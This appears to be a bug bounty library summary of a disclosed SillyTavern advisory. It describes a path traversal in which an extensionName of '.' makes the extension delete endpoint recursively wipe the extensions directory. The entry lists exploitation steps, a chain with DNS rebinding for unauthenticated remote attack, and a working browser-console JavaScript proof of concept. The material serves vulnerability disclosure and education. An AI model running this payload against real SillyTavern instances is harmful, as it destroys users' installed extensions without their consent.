# SillyTavern has a Path Traversal issue

SillyTavern's extension delete endpoint validated extensionName before sanitizing; "." sanitized to empty string, making path.join resolve to the extensions dir itself and recursively delete it unauthenticated.

- Payout: Research
- Severity: critical
- Program: SillyTavern
- Found by: ygboy777-alt, Greg-Kim, S4nso, Mirr2
- Disclosed: 2026-05-12
- CVE: CVE-2026-44650
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-886q-f44j-h6wh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-886q-f44j-h6wh
- Tags: area:web domain:web impact:dos impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:access-control vuln:path-traversal

**Target:** POST /api/extensions/delete (and update/version/branches/switch) HTTP endpoint
**Root cause:** The truthiness check on extensionName runs before sanitize-filename; sanitize(".") returns "", and path.join(basePath, "") yields basePath itself, so fs.promises.rm recursively deletes the whole extensions directory.
**Steps:**
1. Confirm default config has basicAuthMode: false (no auth).
2. Fetch CSRF token: `GET /csrf-token` and read `token`.
3. Send `POST /api/extensions/delete` with headers `Content-Type: application/json`, `X-CSRF-Token: <token>` and body `{"extensionName": "."}`.
4. Observe 200 response body `Extension has been deleted at data\default-user\extensions`.
5. Verify via `GET /api/extensions/discover` that local extensions list is now empty.
**How found:** Code review of src/endpoints/extensions.js: noticed the validation check precedes sanitization, and reasoned that sanitize-filename's documented "."→"" behavior combined with path.join(basePath, "") returning basePath turns the delete into a recursive wipe of the base directory.
**Exploitation:** Any network-reachable client (or a malicious website chaining CVE-2025-59159 DNS rebinding) obtains a CSRF token, then posts extensionName "." to the delete endpoint; sanitize collapses it to empty, path.join returns the base extensions path, and recursive rm destroys all installed third-party extensions. With global:true and admin privileges the shared global extensions directory is also deleted.
**Escalation:** Chained with CVE-2025-59159 (DNS rebinding) for unauthenticated remote exploitation from a malicious website; global:true extends deletion to the cross-user global extensions directory.
**Insight:** When a filename sanitizer is used for path building, test inputs that sanitize to empty string (".", "..", trailing dots/spaces) — an empty sanitized component makes path.join return the base dir, turning delete/read/write into base-directory operations. Also check whether validation runs before or after sanitization.

## Proof of concept (copied exactly from the original report)

**Browser console PoC deleting extensions dir**

```
async function poc() {
    const { token } = await (await fetch('/csrf-token')).json();
    const headers = {
        'Content-Type': 'application/json',
        'X-CSRF-Token': token,
    };

    // Before: 1 extension installed
    const before = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('Before:', before.filter(e => e.type === 'local'));
    // [{ type: 'local', name: 'third-party/Extension-Notebook' }]

    // Attack
    const res = await fetch('/api/extensions/delete', {
        method: 'POST',
        headers,
        body: JSON.stringify({ extensionName: '.' }),
    });
    console.log('Status:', res.status);      // 200
    console.log('Body:', await res.text());  // "Extension has been deleted at data\default-user\extensions"

    // After: empty
    const after = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('After:', after.filter(e => e.type === 'local'));
    // []
}
poc();
```

